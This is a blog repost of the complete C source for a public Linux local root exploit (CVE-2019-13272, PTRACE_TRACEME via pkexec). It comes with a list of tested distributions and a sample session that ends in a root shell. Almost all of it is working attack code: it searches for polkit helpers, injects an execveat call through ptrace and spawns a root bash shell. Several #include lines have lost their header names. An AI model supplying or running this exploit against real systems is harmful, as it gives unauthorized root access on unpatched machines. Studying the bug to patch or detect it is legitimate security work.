linux漏洞类型,CVE-2019-13272

// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)

// Uses pkexec technique

// ---

// Original discovery and exploit author: Jann Horn

// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903

// ---

//

// - added known helper paths

// - added search for suitable helpers

// - added automatic targeting

// - changed target suid exectuable from passwd to pkexec

// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272

// ---

// Tested on:

// - Ubuntu 16.04.5 kernel 4.15.0-29-generic

// - Ubuntu 18.04.1 kernel 4.15.0-20-generic

// - Ubuntu 19.04 kernel 5.0.0-15-generic

// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic

// - Linux Mint 19 kernel 4.15.0-20-generic

// - Xubuntu 16.04.4 kernel 4.13.0-36-generic

// - ElementaryOS 0.4.1 4.8.0-52-generic

// - Backbox 6 kernel 4.18.0-21-generic

// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64

// - Kali kernel 4.19.0-kali5-amd64

// - Redcore 1806 (LXQT) kernel 4.16.16-redcore

// - MX 18.3 kernel 4.19.37-2~mx17+1

// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64

// - Debian 9.4.0 kernel 4.9.0-6-amd64

// - Debian 10.0.0 kernel 4.19.0-5-amd64

// - Devuan 2.0.0 kernel 4.9.0-6-amd64

// - SparkyLinux 5.8 kernel 4.19.0-5-amd64

// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64

// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO

// - Mageia 6 kernel 4.9.35-desktop-1.mga6

// - Antergos 18.7 kernel 4.17.6-1-ARCH

// ---

// user@linux-mint-19-2:~$ gcc -s poc.c -o ptrace_traceme_root

// user@linux-mint-19-2:~$ ./ptrace_traceme_root

// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)

// [.] Checking environment ...

// [~] Done, looks good

// [.] Searching for known helpers ...

// [~] Found known helper: /usr/sbin/mate-power-backlight-helper

// [.] Using helper: /usr/sbin/mate-power-backlight-helper

// [.] Spawning suid process (/usr/bin/pkexec) ...

// [.] Tracing midpid ...

// [~] Attached to midpid

// To run a command as administrator (user "root"), use "sudo ".

// See "man sudo_root" for details.

//

// root@linux-mint-19-2:/home/user#

// ---

#define _GNU_SOURCE

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define DEBUG

#ifdef DEBUG

# define dprintf printf

#else

# define dprintf

#endif

#define SAFE(expr) ({ \

typeof(expr) __res = (expr); \

if (__res == -1) { \

dprintf("[-] Error: %s\n", #expr); \

return 0; \

} \

__res; \

})

#define max(a,b) ((a)>(b) ? (a) : (b))

static const char *SHELL = "/bin/bash";

static int middle_success = 1;

static int block_pipe[2];

static int self_fd = -1;

static int dummy_status;

static const char *helper_path;

static const char *pkexec_path = "/usr/bin/pkexec";

static const char *pkaction_path = "/usr/bin/pkaction";

struct stat st;

const char *helpers[1024];

const char *known_helpers[] = {

"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",

"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",

"/usr/lib/unity-settings-daemon/usd-backlight-helper",

"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",

"/usr/sbin/mate-power-backlight-helper",

"/usr/bin/xfpm-power-backlight-helper",

"/usr/bin/lxqt-backlight_backend",

"/usr/libexec/gsd-wacom-led-helper",

"/usr/libexec/gsd-wacom-oled-helper",

"/usr/libexec/gsd-backlight-helper",

"/usr/lib/gsd-backlight-helper",

"/usr/lib/gsd-wacom-led-helper",

"/usr/lib/gsd-wacom-oled-helper",

};

/* temporary printf; returned pointer is valid until next tprintf */

static char *tprintf(char *fmt, ...) {

static char buf[10000];

va_list ap;

va_start(ap, fmt);

vsprintf(buf, fmt, ap);

va_end(ap);

return buf;

}

/*

* fork, execute pkexec in parent, force parent to trace our child process,

* execute suid executable (pkexec) in child.

*/

static int middle_main(void *dummy) {

prctl(PR_SET_PDEATHSIG, SIGKILL);

pid_t middle = getpid();

self_fd = SAFE(open("/proc/self/exe", O_RDONLY));

pid_t child = SAFE(fork());

if (child == 0) {

prctl(PR_SET_PDEATHSIG, SIGKILL);

SAFE(dup2(self_fd, 42));

/* spin until our parent becomes privileged (have to be fast here) */

int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));

char *needle = tprintf("\nUid:\t%d\t0\t", getuid());

while (1) {

char buf[1000];

ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));

buf[buflen] = '\0';

if (strstr(buf, needle)) break;

}

/*

* this is where the bug is triggered.

* while our parent is in the middle of pkexec, we force it to become our

* tracer, with pkexec's creds as ptracer_cred.

*/

SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));

/*

* now we execute a suid executable (pkexec).

* Because the ptrace relationship is considered to be privileged,

* this is a proper suid execution despite the attached tracer,

* not a degraded one.

* at the end of execve(), this process receives a SIGTRAP from ptrace.

*/

execl(pkexec_path, basename(pkexec_path), NULL);

dprintf("[-] execl: Executing suid executable failed");

exit(EXIT_FAILURE);

}

SAFE(dup2(self_fd, 0));

SAFE(dup2(block_pipe[1], 1));

/* execute pkexec as current user */

struct passwd *pw = getpwuid(getuid());

if (pw == NULL) {

dprintf("[-] getpwuid: Failed to retrieve username");

exit(EXIT_FAILURE);

}

middle_success = 1;

execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,

helper_path,

"--help", NULL);

middle_success = 0;

dprintf("[-] execl: Executing pkexec failed");

exit(EXIT_FAILURE);

}

/* ptrace pid and wait for signal */

static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {

struct user_regs_struct regs;

struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };

SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));

SAFE(waitpid(pid, &dummy_status, 0));

SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));

/* set up indirect arguments */

unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;

struct injected_page {

unsigned long argv[2];

unsigned long envv[1];

char arg0[8];

char path[1];

} ipage = {

.argv = { scratch_area + offsetof(struct injected_page, arg0) }

};

strcpy(ipage.arg0, arg0);

for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {

unsigned long pdata = ((unsigned long *)&ipage)[i];

SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),

(void*)pdata));

}

/* execveat(exec_fd, path, argv, envv, flags) */

regs.orig_rax = __NR_execveat;

regs.rdi = exec_fd;

regs.rsi = scratch_area + offsetof(struct injected_page, path);

regs.rdx = scratch_area + offsetof(struct injected_page, argv);

regs.r10 = scratch_area + offsetof(struct injected_page, envv);

regs.r8 = AT_EMPTY_PATH;

SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));

SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));

SAFE(waitpid(pid, &dummy_status, 0));

}

static int middle_stage2(void) {

/* our child is hanging in signal delivery from execve()'s SIGTRAP */

pid_t child = SAFE(waitpid(-1, &dummy_status, 0));

force_exec_and_wait(child, 42, "stage3");

return 0;

}

// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *

static int spawn_shell(void) {

SAFE(setresgid(0, 0, 0));

SAFE(setresuid(0, 0, 0));

execlp(SHELL, basename(SHELL), NULL);

dprintf("[-] execlp: Executing shell %s failed", SHELL);

exit(EXIT_FAILURE);

}

// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *

static int check_env(void) {

const char* xdg_session = getenv("XDG_SESSION_ID");

dprintf("[.] Checking environment ...\n");

if (stat(pkexec_path, &st) != 0) {

dprintf("[-] Could not find pkexec executable at %s", pkexec_path);

exit(EXIT_FAILURE);

}

if (stat(pkaction_path, &st) != 0) {

dprintf("[-] Could not find pkaction executable at %s", pkaction_path);

exit(EXIT_FAILURE);

}

if (xdg_session == NULL) {

dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");

return 1;

}

if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {

dprintf("[!] Warning: Could not find active PolKit agent\n");

return 1;

}

if (stat("/usr/sbin/getsebool", &st) == 0) {

if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) {

dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");

return 1;

}

}

dprintf("[~] Done, looks good\n");

return 0;

}

/*

* Use pkaction to search PolKit policy actions for viable helper executables.

* Check each action for allow_active=yes, extract the associated helper path,

* and check the helper path exists.

*/

int find_helpers() {

char cmd[1024];

snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);

FILE *fp;

fp = popen(cmd, "r");

if (fp == NULL) {

dprintf("[-] Failed to run: %s\n", cmd);

exit(EXIT_FAILURE);

}

char line[1024];

char buffer[2048];

int helper_index = 0;

int useful_action = 0;

static const char *needle = "org.freedesktop.policykit.exec.path -> ";

int needle_length = strlen(needle);

while (fgets(line, sizeof(line)-1, fp) != NULL) {

/* check the action uses allow_active=yes*/

if (strstr(line, "implicit active:")) {

if (strstr(line, "yes")) {

useful_action = 1;

}

continue;

}

if (useful_action == 0)

continue;

useful_action = 0;

/* extract the helper path */

int length = strlen(line);

char* found = memmem(&line[0], length, needle, needle_length);

if (found == NULL)

continue;

memset(buffer, 0, sizeof(buffer));

for (int i = 0; found[needle_length + i] != '\n'; i++) {

if (i >= sizeof(buffer)-1)

continue;

buffer[i] = found[needle_length + i];

}

if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||

strstr(&buffer[0], "/cpugovctl") != 0 ||

strstr(&buffer[0], "/package-system-locked") != 0 ||

strstr(&buffer[0], "/cddistupgrader") != 0) {

dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);

continue;

}

/* check the path exists */

if (stat(&buffer[0], &st) != 0)

continue;

helpers[helper_index] = strndup(&buffer[0], strlen(buffer));

helper_index++;

if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))

break;

}

pclose(fp);

return 0;

}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *

int ptrace_traceme_root() {

dprintf("[.] Using helper: %s\n", helper_path);

/*

* set up a pipe such that the next write to it will block: packet mode,

* limited to one packet

*/

SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));

SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));

char dummy = 0;

SAFE(write(block_pipe[1], &dummy, 1));

/* spawn pkexec in a child, and continue here once our child is in execve() */

dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);

static char middle_stack[1024*1024];

pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),

CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));

if (!middle_success) return 1;

/*

* wait for our child to go through both execve() calls (first pkexec, then

* the executable permitted by polkit policy).

*/

while (1) {

int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);

char buf[16];

int buflen = SAFE(read(fd, buf, sizeof(buf)-1));

buf[buflen] = '\0';

*strchrnul(buf, '\n') = '\0';

if (strncmp(buf, basename(helper_path), 15) == 0)

break;

usleep(100000);

}

/*

* our child should have gone through both the privileged execve() and the

* following execve() here

*/

dprintf("[.] Tracing midpid ...\n");

SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));

SAFE(waitpid(midpid, &dummy_status, 0));

dprintf("[~] Attached to midpid\n");

force_exec_and_wait(midpid, 0, "stage2");

exit(EXIT_SUCCESS);

}

int main(int argc, char **argv) {

if (strcmp(argv[0], "stage2") == 0)

return middle_stage2();

if (strcmp(argv[0], "stage3") == 0)

return spawn_shell();

dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");

check_env();

if (argc > 1 && strcmp(argv[1], "check") == 0) {

exit(0);

}

/* Search for known helpers defined in 'known_helpers' array */

dprintf("[.] Searching for known helpers ...\n");

for (int i=0; i

if (stat(known_helpers[i], &st) == 0) {

helper_path = known_helpers[i];

dprintf("[~] Found known helper: %s\n", helper_path);

ptrace_traceme_root();

}

}

/* Search polkit policies for helper executables */

dprintf("[.] Searching for useful helpers ...\n");

find_helpers();

for (int i=0; i

if (helpers[i] == NULL)

break;

if (stat(helpers[i], &st) == 0) {

helper_path = helpers[i];

ptrace_traceme_root();

}

}

return 0;

}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值